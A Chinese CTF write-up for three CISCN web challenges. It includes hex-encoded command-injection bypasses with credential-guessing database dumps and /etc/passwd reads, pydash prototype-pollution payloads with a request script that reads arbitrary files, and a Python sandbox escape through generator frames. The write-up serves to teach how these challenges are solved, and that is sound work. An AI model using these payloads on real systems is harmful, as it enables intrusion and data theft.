ciscn-wp
ciscn writeup
web
simple_php(复现)
解法一
比赛的时候一直在尝试其他命令,看了wp才发现能用php -r '代码'来执行php语句或者系统命令
与此相似的还有php -i
可以查看phpinfo等等
但是由于题目过滤了许多关键字,我们可以利用hex2bin转码绕过过滤
hex2bin('语句'); 但是由于过滤了引号,使用substr截取一个字符(这里是下划线),剩下的就会被识别为字符串
hex编码 ls / -> 6c73202f
php -r system(hex2bin(substr(_6c73202f,1)));
命令成功执行
之后找了一圈没发现flag,ps -def指令可以查看进程
ps -def -> _7073202d646566
其中看到了mysql,flag应该在数据库中
直接猜账户root密码为root, -e执行sql语句
mysql -u root -p'root' -e 'show databases;'
cmd=php -r system(hex2bin(substr(_6d7973716c202d7520726f6f74202d7027726f6f7427202d65202773686f77206461746162617365733b27,1)));
有PHP_CMS information_schema mysql performance_schema test这几个库
echo `mysql -u root -p'root' -e 'show databases;use PHP_CMS;show tables;'`
#注意sql语句用反引号执行
#结果Tables_in_PHP_CMS F1ag_Se3Re7
echo `mysql -u root -p'root' -e 'use PHP_CMS;select * from F1ag_Se3Re7'`
拿到flag!
解法二
没有ban掉diff和dd,可以使用diff读目录,dd读文件:
读根目录
diff --recursive / /home
发现根目录没有flag。
读特定文件:
dd if=/etc/passwd
没有flag,但是发现了mysql,猜测账号密码root
mysqldump -uroot -proot --all-databases
sanic
访问/src目录拿到源码
from sanic import Sanic
from sanic.response import text, html
from sanic_session import Session
import pydash
# pydash==5.1.2
class Pollute:
def __init__(self):
pass
app = Sanic(__name__)
app.static("/static/", "./static/")
Session(app)
@app.route('/', methods=['GET', 'POST'])
async def index(request):
return html(open('static/index.html').read())
@app.route("/login")
async def login(request):
user = request.cookies.get("user")
if user.lower() == 'adm;n':
request.ctx.session['admin'] = True
return text("login success")
return text("login fail")
@app.route("/src")
async def src(request):
return text(open(__file__).read())
@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):
if request.ctx.session.get('admin') == True:
key = request.json['key']
value = request.json['value']
if key and value and type(key) is str and '_.' not in key:
pollute = Pollute()
pydash.set_(pollute, key, value)
return text("success")
else:
return text("forbidden")
return text("forbidden")
if __name__ == '__main__':
app.run(host='0.0.0.0')
进入/login设置cookie:user="adm\073n",拿到session
进入/admin cookie:session="51e263b067a94ea6b1d8b51bbf161b97"
通过污染file可以读取文件
{"key":".__init__\\\\.__globals__\\\\.__file__","value":"/etc/passwd"}
尝试直接污染flag,禁止访问,不知道flag的位置,所以接下来的目的就是获取目录
进入static可以发现两个有关目录的参数
查阅资料可以使用app.route.name_index[]方法查询
先查找当前的路由,对源码改进方便调试
from sanic import Sanic
from sanic.response import text, html
#from sanic_session import Session
import sys
import pydash
# pydash==5.1.2
class Pollute:
def __init__(self):
pass
app = Sanic(__name__)
app.static("/static/", "./static/")
@app.route("/src")
async def src(request):
eval(request.args.get('test'))
return text(open(__file__).read())
@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):
key = request.json['key']
value = request.json['value']
if key and value and type(key) is str and '_.' not in key:
pollute = Pollute()
pydash.set_(pollute, key, value)
return text("success")
else:
return text("forbidden")
#print(app.router.name_index['name'].directory_view)
if __name__ == '__main__':
app.run(host='0.0.0.0')
进入src目录就可以执行代码了
print(app.router.name_index)
>>>{'__mp_main__.static': <Route: name=__mp_main__.static path=static/<__file_uri__:path>>, '__mp_main__.src': <Route: name=__mp_main__.src path=src>, '__mp_main__.admin': <Route: name=__mp_main__.admin path=admin>}
这样就可以通过app.router.name_index['__mp_main__']
获取路由了
接下来需要知道是怎么调用到directory_handler这块的
我们可以全局搜索name_index[]方法,在这里打个断点进行调试,这样就能看见调用的过程
至此我们了解了调用的顺序:app.route.name_index['__mp_main__'].handler.keywords['directory_handler']
可以访问到directory_view的属性:print(app.route.name_index['__mp_main__'].handler.keywords['directory_handler'])
可以直接污染这个值开启目录了:{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": True}
注意这里不能用[]来包裹其中的索引,污染和直接调用不同,我们需要用.来连接,而__mp_main.static
是一个整体,用两个反斜杠来转义就够了
但是directory属性不是一个字符串,不能直接污染赋值,我们需要找到是谁给他赋的值
这里看到parts属性,但是是一个元组(只读)
打开受保护的特性,发现了一个_parts变量,是一个包含目录的list变量,猜测可以污染他来实现对directory赋值
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts","value": ["/"]}
import requests
#开启列目录
# data = {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": True}
#将目录设置在根目录下
# data = {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts","value": ["/"]}
#读取flag文件
data = {"key":"__init__\\\\.__globals__\\\\.__file__","value": "/24bcbd0192e591d6ded1_flag"}
cookie={"session":"51e263b067a94ea6b1d8b51bbf161b97"}
response = requests.post(url='http://1344eda7-c9c2-405a-968a-dd1fa736c16f.challenge.ctf.show/admin', json=data,cookies=cookie)
print(response.text)
24bcbd0192e591d6ded1_flag
mossfern
有3个过滤:
for i in ["__", "getattr", "exit"]:#字典中使用['_''_']绕过
if any(x in str(line) for x in ["LOAD_GLOBAL", "IMPORT_NAME", "LOAD_METHOD"]):#Loadglobal可以在外面套一层函数绕过,不能使用import,load_method不能使用.来调用,可以直接f()
if "THIS_IS_SEED" in output:
#输出采用for循环输出
生成器
def my_generator():
yield g.gi_frame.f_back
g=my_generator()
需要的是生成器对象,必须实例化函数
gi_frame:栈帧对象,记录源代码的结构,如果是嵌套的,可以通过f_back属性返回上一级
想要输出flag,可以借用生成器的f_code.consts,但是会被最后的if "THIS_IS_SEED" in output:
拦住,可以用for循环遍历输出
细节事项:
1.生成器必须使用才有f_back方法,有两种方法
next(g)
或者
f1=[x for x in g][0]#只有一项
把f_back放到生成器的返回值可以避免被置空
不用next的原因是代码执行的时候设置builtins为none,不能使用其他的函数
exec(code, {
"__builtins__": None,
"randint": randint,
"randrange": randrange,
"seed": seed,
"print": print
}, None)
2.几层f_back?
一层一层测试,windows到达全局时不可操作,linux可拿到信息
f1=[x for x in g][0].f_back.f_back.....
print(f1.f_globals["_"*2+"builtins"+"_"*2])
测试是否有输出
到达最外层后
def my_generator():
yield g.gi_frame.f_back
g=my_generator()
f1=[x for x in g][0]
f=f1.f_back.f_back.f_back
str=f.f_globals["_"*2+"builtins"+"_"*2].str#这里是取字符串,不是全局查找!
for i in str(f.f_code.co_consts):
print(i)
3.函数中yield的g未定义,会从全局获取,这样会触发检测,外层包一个函数即可
def jail():
def my_generator():
yield g.gi_frame.f_back
g = my_generator()
f1 = [x for x in g][0]
f = f1.f_back.f_back.f_back
str = f.f_globals["_" * 2 + "builtins" + "_" * 2].str # 这里是取字符串,不是全局查找!
for i in str(f.f_code.co_consts):
print(i)
jail()
4.这样for循环输出的结果会带有空行
code="""
def jail():
def my_generator():
yield g.gi_frame.f_back
g = my_generator()
f1 = [x for x in g][0]
f = f1.f_back.f_back.f_back
str = f.f_globals["_" * 2 + "builtins" + "_" * 2].str # 这里是取字符串,不是全局查找!
for i in str(f.f_code.co_consts):
print(i)
jail()"""
print(run(code)['result'].replace('\n',''))
这样就可以连起来了
ctfshow需要json发包,用这个脚本可以转换格式
def convert_code(file_path):
with open(file_path, 'r') as file:
code = file.read()
converted_code = code.replace('\n', '\\n').replace(' ', '\\t').replace('\"','\'')
with open(file_path, 'w') as file:
file.write(converted_code)
print("代码转换完成!")
# 将文件路径替换为你要转换的文件路径
file_path = './poc.txt'
convert_code(file_path)
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 全程不用写代码,我用AI程序员写了一个飞机大战
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· 记一次.NET内存居高不下排查解决与启示
· 白话解读 Dapr 1.15:你的「微服务管家」又秀新绝活了
· DeepSeek 开源周回顾「GitHub 热点速览」